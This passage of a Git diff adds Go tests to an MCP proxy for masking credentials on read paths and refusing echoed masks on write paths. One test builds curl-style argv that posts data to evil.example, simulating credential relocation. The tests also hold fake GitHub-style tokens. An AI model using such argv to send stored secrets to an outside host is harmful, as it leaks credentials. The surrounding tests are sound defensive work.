config.DefaultConfig() + cfg.DataDir = t.TempDir() + cfg.Listen = "127.0.0.1:0" + cfg.APIKey = apiKey + + srv, err := NewServer(cfg, zap.NewNop()) + require.NoError(t, err) + t.Cleanup(func() { _ = srv.Shutdown() }) + return srv +} + +// captureAuthContext runs one request through mcpAuthMiddleware and returns the +// AuthContext the downstream handler saw. +func captureAuthContext(t *testing.T, srv *Server, req *http.Request) (*auth.AuthContext, int) { + t.Helper() + + var seen *auth.AuthContext + handler := srv.mcpAuthMiddleware(http.HandlerFunc(func(_ http.ResponseWriter, r *http.Request) { + seen = auth.AuthContextFromContext(r.Context()) + })) + rec := httptest.NewRecorder() + handler.ServeHTTP(rec, req) + return seen, rec.Code +} + +// TestMCPAuthMiddleware_AnonymousVsAuthenticated is the (b) half of issue +// #1148. The middleware upgrades an unauthenticated /mcp request to admin for +// backward compatibility — that stays — but the resulting context must now +// declare that it is anonymous, so a secret-revealing operation can tell the +// two apart. Authenticated callers (API key, tray socket) must be unaffected. +func TestMCPAuthMiddleware_AnonymousVsAuthenticated(t *testing.T) { + const apiKey = "test-api-key-1148" + srv := newAuthMiddlewareTestServer(t, apiKey) + + t.Run("unauthenticated TCP is anonymous admin", func(t *testing.T) { + ctx, code := captureAuthContext(t, srv, httptest.NewRequest(http.MethodPost, "/mcp", http.NoBody)) + require.Equal(t, http.StatusOK, code) + require.NotNil(t, ctx) + require.True(t, ctx.IsAdmin(), "back-compat: unauthenticated MCP clients must keep admin behaviour") + require.True(t, ctx.Anonymous, "unauthenticated caller must be marked anonymous") + require.False(t, ctx.CanRevealSecrets()) + }) + + t.Run("valid API key is a real admin", func(t *testing.T) { + req := httptest.NewRequest(http.MethodPost, "/mcp", http.NoBody) + req.Header.Set("X-API-Key", apiKey) + ctx, code := captureAuthContext(t, srv, req) + require.Equal(t, http.StatusOK, code) + require.NotNil(t, ctx) + require.False(t, ctx.Anonymous) + require.True(t, ctx.CanRevealSecrets()) + }) + + t.Run("tray socket connection is a real admin", func(t *testing.T) { + req := httptest.NewRequest(http.MethodPost, "/mcp", http.NoBody) + req = req.WithContext(transport.TagConnectionContext(req.Context(), transport.ConnectionSourceTray)) + ctx, code := captureAuthContext(t, srv, req) + require.Equal(t, http.StatusOK, code) + require.NotNil(t, ctx) + require.False(t, ctx.Anonymous, "OS-level socket auth is a real identity, not an anonymous fallback") + require.True(t, ctx.CanRevealSecrets()) + }) + + t.Run("unrecognized token is anonymous admin", func(t *testing.T) { + req := httptest.NewRequest(http.MethodPost, "/mcp", http.NoBody) + req.Header.Set("X-API-Key", "not-the-key") + ctx, code := captureAuthContext(t, srv, req) + require.Equal(t, http.StatusOK, code) + require.NotNil(t, ctx) + require.True(t, ctx.IsAdmin()) + require.True(t, ctx.Anonymous) + require.False(t, ctx.CanRevealSecrets()) + }) + + t.Run("unrecognized token on a tray connection is a real admin", func(t *testing.T) { + req := httptest.NewRequest(http.MethodPost, "/mcp", http.NoBody) + req.Header.Set("X-API-Key", "not-the-key") + req = req.WithContext(transport.TagConnectionContext(req.Context(), transport.ConnectionSourceTray)) + ctx, code := captureAuthContext(t, srv, req) + require.Equal(t, http.StatusOK, code) + require.NotNil(t, ctx) + require.False(t, ctx.Anonymous) + }) +} + +// TestStdioAuthContext_IsRealAdmin pins the stdio transport declaring its +// identity explicitly. Before #1148 stdio ran with NO auth context at all and +// relied on gates of the shape `authCtx != nil && !authCtx.IsAdmin()` treating +// nil as admin — which is the same nil-is-privileged reading the issue reports. +func TestStdioAuthContext_IsRealAdmin(t *testing.T) { + ctx := stdioAuthContext(t.Context()) + authCtx := auth.AuthContextFromContext(ctx) + require.NotNil(t, authCtx, "stdio must install an explicit auth context") + require.True(t, authCtx.IsAdmin()) + require.False(t, authCtx.Anonymous) + require.True(t, authCtx.CanRevealSecrets(), "stdio is a local, OS-authenticated transport") +} diff --git a/internal/server/mcp_isolation_redaction_round7_test.go b/internal/server/mcp_isolation_redaction_round7_test.go new file mode 100644 index 000000000..a97c91fe1 --- /dev/null +++ b/internal/server/mcp_isolation_redaction_round7_test.go @@ -0,0 +1,117 @@ +package server + +import ( + "context" + "encoding/json" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/mark3labs/mcp-go/mcp" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/auth" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" +) + +// Issue #1148, round 7 finding 3. `upstream_servers list` masked env, url, +// headers and args and then republished the isolation configuration RAW in the +// SAME payload: +// +// servers[].docker_isolation.server_isolation.extra_args — the per-server override +// docker_status.isolation_config — the WHOLE global block +// +// `extra_args` is free text an operator puts `-e API_KEY=` into, and the +// global block is where one credential is configured for every isolated server +// at once. Both were built by reading the config struct field by field, which +// is why they were never covered by the walk that masks everything else. +const round7IsolationToken = "ghp_1234567890abcdefghijABCDEFGHIJ123456" + +func TestUpstreamServersList_MasksIsolationConfig(t *testing.T) { + p := createTestMCPProxyServer(t) + p.config.DockerIsolation = &config.DockerIsolationConfig{ + Enabled: true, + ExtraArgs: []string{"-e", "GLOBAL_API_KEY=" + round7IsolationToken}, + } + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{ + Name: "srv", + Protocol: "stdio", + Command: "uvx", + Enabled: true, + Isolation: &config.IsolationConfig{ + ExtraArgs: []string{"-e", "SERVER_API_KEY=" + round7IsolationToken}, + }, + })) + + result, err := p.handleListUpstreams(auth.WithAuthContext(context.Background(), auth.AnonymousContext())) + require.NoError(t, err) + body := toolResultText(t, result) + + assert.NotContains(t, body, round7IsolationToken, + "the isolation configuration published a credential in the clear") + // The field NAMES stay: masked-but-present is the whole point — an operator + // must still see WHICH variable is configured. + assert.Contains(t, body, "extra_args") + assert.Contains(t, body, "SERVER_API_KEY") + assert.Contains(t, body, "GLOBAL_API_KEY") +} + +// The reveal opt-in still works for an authenticated admin, exactly as it does +// for env/headers/url — the gate is the same one, not a new special case. +func TestUpstreamServersList_RevealSecretHeadersStillRevealsIsolation(t *testing.T) { + p := createTestMCPProxyServer(t) + p.config.RevealSecretHeaders = true + p.config.DockerIsolation = &config.DockerIsolationConfig{ + Enabled: true, + ExtraArgs: []string{"-e", "GLOBAL_API_KEY=" + round7IsolationToken}, + } + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{ + Name: "srv", + Protocol: "stdio", + Command: "uvx", + Enabled: true, + Isolation: &config.IsolationConfig{ + ExtraArgs: []string{"-e", "SERVER_API_KEY=" + round7IsolationToken}, + }, + })) + + result, err := p.handleListUpstreams(auth.WithAuthContext(context.Background(), auth.AdminContext())) + require.NoError(t, err) + assert.Contains(t, toolResultText(t, result), round7IsolationToken, + "reveal_secret_headers must keep working for an authenticated admin") +} + +// Round 7 finding 1, through the real doors: read the redacted isolation block +// off the MCP read surface and echo it straight back at the MCP write door. +// +// The read door renders `-e API_KEY=` as `-e API_KEY=***REDACTED***` +// (RedactSensitiveData), and the fail-closed net did not recognise that +// rendering — so the echo was ACCEPTED and the mask persisted over the live +// credential. The net is now derived from the renderers, so it refuses. +func TestBuildPatchConfig_RefusesAnEchoedRedactedMarker(t *testing.T) { + p := createTestMCPProxyServer(t) + stored := &config.ServerConfig{ + Name: "srv", + Command: "uvx", + Enabled: true, + Isolation: &config.IsolationConfig{ExtraArgs: []string{"-e", "API_KEY=" + round7IsolationToken}}, + } + + view := redactedServerView(stored, liveRedaction) + isolationEcho, err := json.Marshal(view["isolation"]) + require.NoError(t, err) + require.NotContains(t, string(isolationEcho), round7IsolationToken, + "precondition: the read door masks isolation.extra_args") + + request := mcp.CallToolRequest{} + request.Params.Arguments = map[string]interface{}{ + "operation": "patch", + "name": "srv", + "isolation_json": string(isolationEcho), + } + + patch, _, err := p.buildPatchConfigFromRequest(request, stored) + require.Error(t, err, "an echoed read-door mask must be refused, not persisted over the credential") + assert.Nil(t, patch) + assert.Contains(t, err.Error(), "redaction placeholder") +} diff --git a/internal/server/mcp_secret_redaction_hardening_test.go b/internal/server/mcp_secret_redaction_hardening_test.go new file mode 100644 index 000000000..b37ac5901 --- /dev/null +++ b/internal/server/mcp_secret_redaction_hardening_test.go @@ -0,0 +1,329 @@ +package server + +import ( + "context" + "encoding/json" + "errors" + "strings" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/auth" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" +) + +// This file collects the round-2 review findings on issue #1148. Each test +// names the defect it reproduces; all of them fail on the unfixed tree. + +// --------------------------------------------------------------------------- +// Finding 1 (rounds 2 AND 3): the write path used to REVERT a masked argv +// token from the stored vector — first by value, then bound to the index plus +// the preceding flag. Both let a caller relocate a stored credential into a +// command line of their choosing, because an argv slot has no key to bind to +// and the caller supplies the whole vector *and* `command`. +// +// The revert is gone: an echoed mask is refused and the caller resends the real +// value. These tests pin BOTH halves of that contract — no vector containing a +// mask is ever accepted, and a vector with no mask is untouched. +// --------------------------------------------------------------------------- + +func TestArgvMaskEcho_IsAlwaysRefused_NeverReverted(t *testing.T) { + flagBound := []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a"} + // Round 3: masked by the VALUE-SHAPED detector, so the round-2 fix (which + // only bound flag-paired masks) reverted it into any argv the caller liked. + detectorShaped := []string{"mcp-foo", "run", "ghp_16Cabcdefghijklmnopqrstuvwxyz0123456789"} + // A mask at index 0 is bound to nothing at all by an index+flag rule. + leadingSecret := []string{"ghp_16Cabcdefghijklmnopqrstuvwxyz0123456789", "run"} + + for _, stored := range [][]string{flagBound, detectorShaped, leadingSecret} { + masked := redactedArgs(stored, liveRedaction) + secret, maskIdx := "", -1 + for i := range stored { + if masked[i] != stored[i] { + secret, maskIdx = stored[i], i + break + } + } + require.NotEqual(t, -1, maskIdx, "precondition: the read path masks the credential") + + // The mask, moved to EVERY position, inside argv vectors of every + // shape — including the one it was masked at, and including one whose + // neighbours are copied verbatim from the stored vector. + var vectors [][]string + for i := 0; i <= len(stored)+1; i++ { + exfil := []string{"--silent", "--data", "https://evil.example/x", "-H", "-X", "POST"} + vec := make([]string, 0, len(exfil)+1) + vec = append(vec, exfil[:min(i, len(exfil))]...) + vec = append(vec, masked[maskIdx]) + vec = append(vec, exfil[min(i, len(exfil)):]...) + vectors = append(vectors, vec) + } + neighbourCopy := append([]string(nil), stored...) + neighbourCopy[maskIdx] = masked[maskIdx] + vectors = append(vectors, neighbourCopy, masked, []string{masked[maskIdx]}) + + for _, incoming := range vectors { + err := checkArgvMaskEcho(incoming, stored) + require.Error(t, err, "a mask must be refused wherever it sits: %v", incoming) + assert.NotContains(t, err.Error(), secret, "the refusal must not quote the secret") + assert.Contains(t, err.Error(), "args_json", "the caller must be told which parameter to resend") + } + } +} + +func TestArgvMaskEcho_AcceptsRealValues(t *testing.T) { + stored := []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a", "--port", "8080"} + + t.Run("an unchanged real vector is accepted", func(t *testing.T) { + assert.NoError(t, checkArgvMaskEcho(append([]string(nil), stored...), stored)) + }) + + t.Run("a rotated credential is accepted", func(t *testing.T) { + assert.NoError(t, checkArgvMaskEcho( + []string{"mcp-foo", "--api-key", "brand-new-secret", "--port", "9090"}, stored)) + }) + + t.Run("nil, empty and no stored vector are accepted", func(t *testing.T) { + assert.NoError(t, checkArgvMaskEcho(nil, stored)) + assert.NoError(t, checkArgvMaskEcho([]string{}, stored)) + assert.NoError(t, checkArgvMaskEcho([]string{"mcp-foo"}, nil)) + }) + + t.Run("a stale mask is refused even when the stored vector has moved on", func(t *testing.T) { + // The byte-for-byte comparison against the CURRENT stored vector cannot + // match here; the marker check is what keeps the mask out of the config. + stale := redactedArgs(stored, liveRedaction)[2] + assert.Error(t, checkArgvMaskEcho([]string{"mcp-foo", "--api-key", stale}, + []string{"mcp-foo", "--api-key", "a-completely-different-token"})) + }) +} + +// TestArgvMaskMarkers_MatchTheRenderings pins oauth.MaskMarkers to the functions +// that actually produce masks, so a change to either rendering fails here +// instead of silently letting a mask through the echo check. +func TestArgvMaskMarkers_MatchTheRenderings(t *testing.T) { + for _, rendered := range []string{ + oauth.MaskValue("hunter2-corp-token-9f3a"), + oauth.AuditMaskValue("hunter2-corp-token-9f3a"), + maskDetectedSecrets("ghp_16Cabcdefghijklmnopqrstuvwxyz0123456789"), + } { + assert.True(t, containsArgvMaskMarker(rendered), + "%q carries no marker the echo check recognises", rendered) + } + assert.False(t, containsArgvMaskMarker("mcp-foo")) + assert.False(t, containsArgvMaskMarker("--api-key")) +} + +// --------------------------------------------------------------------------- +// Finding 2: inspect_quarantined — the sibling operation of list_quarantined — +// still rendered raw connection errors and the raw GetConnectionStatus() map +// (last_error included) into its response. +// --------------------------------------------------------------------------- + +func TestInspectQuarantined_ScrubsConnectionDiagnostics(t *testing.T) { + secret := "urlsecret999" + status := map[string]interface{}{ + "state": "error", + "connected": false, + "last_error": "dial https://host/mcp?token=" + secret + ": connection refused", + } + connErr := errors.New("read tcp: upstream https://host/mcp?token=" + secret + " reset by peer") + + timeoutMsg := inspectConnectionTimeoutError("evil", 20*time.Second, status) + assert.NotContains(t, timeoutMsg, secret, "the timeout diagnostic republishes the raw connection status") + assert.Contains(t, timeoutMsg, "evil") + + analysis := inspectConnectionFailedAnalysis("evil", status, connErr) + encoded, err := json.Marshal(analysis) + require.NoError(t, err) + assert.NotContains(t, string(encoded), secret, "connection_info / error_details republish the raw error") + assert.Contains(t, string(encoded), "QUARANTINED_CONNECTION_FAILED") + + // The caller's own status map must not be mutated in place. + assert.Contains(t, status["last_error"], secret) +} + +// --------------------------------------------------------------------------- +// Finding 3: scrubUpstreamText hard-coded the 512-byte AUDIT cap, so it +// silently truncated LIVE tool output — every tail_log line and every +// connection error. +// --------------------------------------------------------------------------- + +func TestScrubUpstreamText_LiveReadsAreNotTruncated(t *testing.T) { + long := "connect failed: " + strings.Repeat("x", 4096) + + live := scrubUpstreamText(long) + assert.Equal(t, len(long), len(live), "tail_log is the primary debugging surface; long lines must survive") + + audit := scrubUpstreamTextForAudit(long) + assert.Less(t, len(audit), len(long), "the activity store keeps its size cap") + assert.True(t, strings.HasSuffix(audit, activityErrorMessageEllipsis)) +} + +// --------------------------------------------------------------------------- +// Finding 4: scrubUpstreamText did not remove URL userinfo credentials, so +// basic-auth passwords reached tail_log lines and connection errors. +// --------------------------------------------------------------------------- + +func TestScrubUpstreamText_MasksURLUserinfo(t *testing.T) { + got := scrubUpstreamText("dial https://alice:hunter2phrase@api.example.com/mcp: connection refused") + assert.NotContains(t, got, "hunter2phrase") + assert.Contains(t, got, "api.example.com", "the host must stay readable") + assert.Contains(t, got, "connection refused") + + // Fixed in oauth.RedactSensitiveData, so the REST last_error / health.detail + // scrubbers inherit it too. + assert.NotContains(t, oauth.RedactSensitiveData("https://svc:s3cr3tvalue@host/x"), "s3cr3tvalue") +} + +// --------------------------------------------------------------------------- +// Finding 5: redactArgvWith emitted URL-shaped argv tokens verbatim in the +// space-separated `--flag ` spelling and as a bare positional, on BOTH +// policies — while the inline `--flag=` spelling was masked. +// --------------------------------------------------------------------------- + +func TestRedactArgv_MasksURLCredentialsInEverySpelling(t *testing.T) { + for _, policy := range []struct { + name string + r redactionPolicy + }{{"live", liveRedaction}, {"audit", auditRedaction}} { + t.Run(policy.name, func(t *testing.T) { + cases := map[string][]string{ + "userinfo, space-separated": {"--endpoint", "https://alice:hunter2phrase@api.example.com/mcp"}, + "userinfo, bare positional": {"https://alice:hunter2phrase@api.example.com/mcp"}, + "userinfo, inline": {"--endpoint=https://alice:hunter2phrase@api.example.com/mcp"}, + "query, space-separated": {"--endpoint", "https://api.example.com/mcp?token=SUPERSECRETTOKEN123"}, + "query, bare positional": {"https://api.example.com/mcp?token=SUPERSECRETTOKEN123"}, + "query, inline": {"--endpoint=https://api.example.com/mcp?token=SUPERSECRETTOKEN123"}, + } + for name, argv := range cases { + got := strings.Join(redactedArgs(argv, policy.r), " ") + assert.NotContains(t, got, "hunter2phrase", "%s leaks the userinfo password", name) + assert.NotContains(t, got, "SUPERSECRETTOKEN123", "%s leaks the query credential", name) + assert.Contains(t, got, "api.example.com", "%s: the host is the audit signal", name) + } + }) + } + + // Ordinary arguments still round-trip verbatim. + assert.Equal(t, []string{"mcp-foo", "--port", "8080", "https://api.example.com/mcp"}, + redactedArgs([]string{"mcp-foo", "--port", "8080", "https://api.example.com/mcp"}, liveRedaction)) +} + +// --------------------------------------------------------------------------- +// Finding 6: oauth.client_secret is masked on the MCP read surface +// (list_quarantined) but the MCP write path had no matching unmask, so an +// MCP-read → MCP-patch round trip persisted the MASK over the real credential. +// --------------------------------------------------------------------------- + +func TestUnmaskLiveLeaves_ProtectAReadModifyWriteRoundTrip(t *testing.T) { + stored := &config.ServerConfig{ + Name: "srv", + URL: "https://host/mcp?token=urlsecret999", + Env: map[string]string{"BENIGN_NAME": "ghp_abcdefghijklmnopqrstuvwxyz0123456789"}, + Headers: map[string]string{"X-Zyx": "ghp_zyxwvutsrqponmlkjihgfedcba9876543210"}, + OAuth: &config.OAuthConfig{ClientID: "cid", ClientSecret: "oauth-secret-4242"}, + } + view := redactedServerView(stored, liveRedaction) + + t.Run("client_secret", func(t *testing.T) { + oauthView, ok := view["oauth"].(map[string]interface{}) + require.True(t, ok) + masked, ok := oauthView["client_secret"].(string) + require.True(t, ok) + require.NotEqual(t, stored.OAuth.ClientSecret, masked, "precondition: the read path masks it") + + echoed := &config.OAuthConfig{ClientID: "cid", ClientSecret: masked} + unmaskLiveOAuth(echoed, stored.OAuth) + assert.Equal(t, stored.OAuth.ClientSecret, echoed.ClientSecret, + "an unedited echo must not persist the mask over the real client secret") + + edited := &config.OAuthConfig{ClientID: "cid", ClientSecret: "brand-new"} + unmaskLiveOAuth(edited, stored.OAuth) + assert.Equal(t, "brand-new", edited.ClientSecret) + }) + + t.Run("env and headers rendered by the live view", func(t *testing.T) { + envView, ok := view["env"].(map[string]interface{}) + require.True(t, ok) + maskedEnv, _ := envView["BENIGN_NAME"].(string) + require.NotEqual(t, stored.Env["BENIGN_NAME"], maskedEnv) + + got := unmaskLiveEnvValues(map[string]string{"BENIGN_NAME": maskedEnv}, stored.Env) + assert.Equal(t, stored.Env["BENIGN_NAME"], got["BENIGN_NAME"]) + + hdrView, ok := view["headers"].(map[string]interface{}) + require.True(t, ok) + maskedHdr, _ := hdrView["X-Zyx"].(string) + gotH := unmaskLiveHeaders(map[string]string{"X-Zyx": maskedHdr}, stored.Headers) + assert.Equal(t, stored.Headers["X-Zyx"], gotH["X-Zyx"]) + }) + + t.Run("url", func(t *testing.T) { + got, err := unmaskLiveURL(viewString(view, "url", ""), stored.URL) + require.NoError(t, err) + assert.Equal(t, stored.URL, got) + }) +} + +// --------------------------------------------------------------------------- +// Finding 7: with detectContractedLeaves off, the LIVE surface — the one an +// unauthenticated /mcp caller reads — returned vendor-shaped credentials in the +// clear whenever they sat under a benign env/header name, while the AUDIT +// policy masked them. +// --------------------------------------------------------------------------- + +func TestLiveRedaction_MasksVendorShapedSecretsUnderBenignNames(t *testing.T) { + ghp := "ghp_abcdefghijklmnopqrstuvwxyz0123456789" + + assert.NotContains(t, redactEnvValueWith("BENIGN_NAME", ghp, liveRedaction), ghp) + assert.NotContains(t, redactHeaderValueWith("X-Zyx", ghp, liveRedaction), ghp) + + // The #872 component-wise connection-string rendering is NOT collapsed: + // the name/URL rules already rewrote it, so the detector stays out of it and + // scheme/host/db remain readable for the operator's edit flow. + conn := redactEnvValueWith("DATABASE_URL_PLAIN", "postgres://u:sup3rp4ss@db.example.com/appdb", liveRedaction) + assert.NotContains(t, conn, "sup3rp4ss") + assert.Contains(t, conn, "db.example.com") + assert.Contains(t, conn, "appdb") + + // Ordinary configuration stays readable. + assert.Equal(t, "debug", redactEnvValueWith("LOG_LEVEL", "debug", liveRedaction)) +} + +// --------------------------------------------------------------------------- +// Finding 9: installing an admin AuthContext on the stdio transport changes two +// nil-sensitive paths that the original behaviour list did not name. Both are +// intended — stdio now behaves like the API-key admin it is — and both are +// pinned here so a future change to either is a deliberate one. The full +// enumeration lives on stdioAuthContext in server.go. +// --------------------------------------------------------------------------- + +func TestStdioAdminContext_NilSensitivePaths(t *testing.T) { + stdioCtx := stdioAuthContext(context.Background()) + + t.Run("session principal names the local admin", func(t *testing.T) { + assert.Equal(t, "", principalFromContext(context.Background())) + assert.Equal(t, auth.AuthTypeAdmin, principalFromContext(stdioCtx)) + }) + + t.Run("preflight scope is materialised and allows every server", func(t *testing.T) { + p := createTestMCPProxyServer(t) + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{Name: "alpha", Enabled: true})) + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{Name: "beta", Enabled: true})) + + none, err := p.sessionPreflightScope(context.Background()) + require.NoError(t, err) + assert.Nil(t, none, "no identity and no profile stays unrestricted") + + scope, err := p.sessionPreflightScope(stdioCtx) + require.NoError(t, err) + require.NotNil(t, scope) + assert.True(t, scope.Allows("alpha")) + assert.True(t, scope.Allows("beta")) + }) +} diff --git a/internal/server/mcp_secret_redaction_round4_test.go b/internal/server/mcp_secret_redaction_round4_test.go new file mode 100644 index 000000000..8a8a4f002 --- /dev/null +++ b/internal/server/mcp_secret_redaction_round4_test.go @@ -0,0 +1,164 @@ +package server + +import ( + "encoding/json" + "strings" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/contracts" +) + +// This file collects the round-4 review findings on issue #1148. +// +// Findings 1 and 2 are the same class as the argv one: #1148 started MASKING a +// field on a live read surface without giving the write path a matching, +// key-bound revert (or a refusal), so a read-modify-write client persists the +// MASK STRING over the real credential. + +// --------------------------------------------------------------------------- +// Finding 1: oauth_json REPLACES the whole oauth block, and the live view masks +// extra_params values (and can mask a scope) — but unmaskLiveOAuth reverted +// ONLY client_secret. +// --------------------------------------------------------------------------- + +const round4GitHubToken = "ghp_16Cabcdefghijklmnopqrstuvwxyz0123456789" + +func TestOAuthJSON_ExtraParamMask_IsRevertedNotPersisted(t *testing.T) { + stored := &config.OAuthConfig{ + ClientID: "client-abc", + ClientSecret: leakySecrets["oauth"], + ExtraParams: map[string]string{ + // RFC 8707 resource indicator carrying a signed URL: the live view + // masks `sig` via the URL rule. + "resource": "https://api.example.com/mcp?sig=" + leakySecrets["url"] + "®ion=eu", + "audience": "tenant-a", + }, + } + + view := redactedServerView(&config.ServerConfig{Name: "srv", OAuth: stored}, liveRedaction) + oauthView, ok := view["oauth"].(map[string]interface{}) + require.True(t, ok, "the live view renders the oauth block") + params, ok := oauthView["extra_params"].(map[string]interface{}) + require.True(t, ok, "the live view renders extra_params") + require.NotContains(t, params["resource"], leakySecrets["url"], + "precondition: the read path masks the signed resource URL") + + // A read-modify-write client echoes the rendered block straight back. + echoed := roundTripOAuthView(t, oauthView) + require.NoError(t, unmaskLiveOAuth(echoed, stored)) + + assert.Equal(t, stored.ExtraParams["resource"], echoed.ExtraParams["resource"], + "an echoed extra_params mask must be reverted, never persisted over the credential") + assert.Equal(t, stored.ClientSecret, echoed.ClientSecret) + assert.Equal(t, "tenant-a", echoed.ExtraParams["audience"], "non-secret params round-trip verbatim") +} + +func TestOAuthJSON_ResidualMask_IsRefused(t *testing.T) { + // A scope has no key to bind a revert to — its only context is its position + // in a caller-supplied slice — so a mask that survives the key-bound + // reverts must be REFUSED, exactly like an argv token. + stored := &config.OAuthConfig{ + ClientID: "client-abc", + Scopes: []string{"read:user", round4GitHubToken}, + } + + view := redactedServerView(&config.ServerConfig{Name: "srv", OAuth: stored}, liveRedaction) + oauthView := view["oauth"].(map[string]interface{}) + scopes, ok := oauthView["scopes"].([]interface{}) + require.True(t, ok) + require.NotContains(t, scopes[1], round4GitHubToken, "precondition: the read path masks the token-shaped scope") + + echoed := roundTripOAuthView(t, oauthView) + err := unmaskLiveOAuth(echoed, stored) + require.Error(t, err, "a mask with no key to bind to must be refused, not written through") + assert.NotContains(t, err.Error(), round4GitHubToken) +} + +func TestOAuthJSON_UnmaskedBlock_IsAccepted(t *testing.T) { + stored := &config.OAuthConfig{ClientID: "client-abc", ClientSecret: leakySecrets["oauth"]} + incoming := &config.OAuthConfig{ClientID: "client-abc", ClientSecret: "brand-new-secret"} + require.NoError(t, unmaskLiveOAuth(incoming, stored)) + assert.Equal(t, "brand-new-secret", incoming.ClientSecret, "a rotated secret is written through") +} + +func roundTripOAuthView(t *testing.T, oauthView map[string]interface{}) *config.OAuthConfig { + t.Helper() + raw, err := json.Marshal(oauthView) + require.NoError(t, err) + var out config.OAuthConfig + require.NoError(t, json.Unmarshal(raw, &out)) + return &out +} + +// --------------------------------------------------------------------------- +// Finding 2: editing any OTHER part of a URL defeats the whole-URL echo check, +// and oauth.UnmaskURL only knows the SENSITIVE query params — so a mask the +// value-shaped detector produced under an unrecognised parameter name was +// written through as the credential. +// --------------------------------------------------------------------------- + +func TestUnmaskLiveURL_RevertsPerParameterAcrossAnEdit(t *testing.T) { + stored := "https://host/old?opaque=" + round4GitHubToken + "®ion=eu" + rendered := redactStringWith("url", stored, liveRedaction) + require.NotContains(t, rendered, round4GitHubToken, "precondition: the live detector masks the token") + + // The client edits the PATH and echoes everything else back. + incoming := strings.Replace(rendered, "/old", "/new", 1) + out, err := unmaskLiveURL(incoming, stored) + require.NoError(t, err) + assert.Contains(t, out, round4GitHubToken, "the real credential must survive an unrelated edit") + assert.Contains(t, out, "/new", "the edit must be applied") + assert.Contains(t, out, "region=eu") +} + +func TestUnmaskLiveURL_RefusesAMaskItCannotBind(t *testing.T) { + stored := "https://host/old?opaque=" + round4GitHubToken + rendered := redactStringWith("url", stored, liveRedaction) + + t.Run("a moved authority is refused, never restored", func(t *testing.T) { + moved := strings.Replace(rendered, "host", "evil.example", 1) + out, err := unmaskLiveURL(moved, stored) + require.Error(t, err, "a mask must never be persisted, and never follow the URL to a new host") + assert.NotContains(t, out, round4GitHubToken) + }) + + t.Run("an unedited echo still reverts", func(t *testing.T) { + out, err := unmaskLiveURL(rendered, stored) + require.NoError(t, err) + assert.Equal(t, stored, out) + }) + + t.Run("a genuinely new URL is written through", func(t *testing.T) { + out, err := unmaskLiveURL("https://host/new?opaque=fresh", stored) + require.NoError(t, err) + assert.Equal(t, "https://host/new?opaque=fresh", out) + }) +} + +// --------------------------------------------------------------------------- +// Finding 4: /api/v1/servers/{id}/logs is the REST twin of `tail_log` — same +// stored child-process and connection log lines, no scrubbing. +// --------------------------------------------------------------------------- + +func TestParseLogLine_ScrubsCredentials(t *testing.T) { + lines := []string{ + `2025-01-20 15:04:05 [INFO] Starting connection attempt url=https://host/mcp?token=` + leakySecrets["url"], + `child stdout: using ` + round4GitHubToken, + } + + var entries []contracts.LogEntry + for _, line := range lines { + entries = append(entries, parseLogLine(line, "leaky")) + } + + assert.NotContains(t, entries[0].Message, leakySecrets["url"], + "the REST logs endpoint republishes the URL credential mcpproxy itself logged") + assert.Contains(t, entries[0].Message, "Starting connection attempt", "the diagnostic content must survive") + assert.Equal(t, "INFO", entries[0].Level) + assert.NotContains(t, entries[1].Message, round4GitHubToken, + "a credential the child process printed must not leave through the REST door either") +} diff --git a/internal/server/mcp_secret_redaction_test.go b/internal/server/mcp_secret_redaction_test.go new file mode 100644 index 000000000..9c7d198cb --- /dev/null +++ b/internal/server/mcp_secret_redaction_test.go @@ -0,0 +1,422 @@ +package server + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "testing" + + "github.com/mark3labs/mcp-go/mcp" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/zap" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/auth" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" +) + +// leakySecrets are the five credential shapes issue #1148 proved travel out of +// `quarantine_security list_quarantined` in the clear. Every one of them lives +// in a DIFFERENT field of config.ServerConfig, which is the point: the handler +// marshalled the raw struct, so the leak was never about one field. +// toolResultText extracts the text payload of an MCP tool result. +func toolResultText(t *testing.T, result *mcp.CallToolResult) string { + t.Helper() + require.NotNil(t, result) + require.NotEmpty(t, result.Content) + text, ok := result.Content[0].(mcp.TextContent) + require.True(t, ok, "expected a text result") + return text.Text +} + +var leakySecrets = map[string]string{ + "env": "sk-super-secret-value-12345", + "header": "hdr-secret-98765", + "oauth": "oauth-secret-4242", + "url": "urlsecret999", + "argv": "sk-argv-secret-777", +} + +func seedQuarantinedServer(t *testing.T, p *MCPProxyServer) { + t.Helper() + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{ + Name: "evil", + Protocol: "stdio", + Command: "uvx", + Args: []string{"mcp-foo", "--api-key", leakySecrets["argv"]}, + URL: "https://host/mcp?token=" + leakySecrets["url"], + Env: map[string]string{"QA_SECRET_TOKEN": leakySecrets["env"]}, + Headers: map[string]string{"X-AuthToken": leakySecrets["header"]}, + OAuth: &config.OAuthConfig{ClientID: "cid", ClientSecret: leakySecrets["oauth"]}, + Enabled: true, + Quarantined: true, + })) +} + +// TestListQuarantined_MasksEnvHeadersOAuthURLAndArgv is the issue-#1148 +// reproduction: the tool response must not carry any credential value, while +// the KEYS stay visible — the inspection use case needs to know which secrets a +// quarantined server is configured with, never what they are. +func TestListQuarantined_MasksEnvHeadersOAuthURLAndArgv(t *testing.T) { + proxy := createTestMCPProxyServer(t) + seedQuarantinedServer(t, proxy) + + result, err := proxy.handleListQuarantinedUpstreams(context.Background()) + 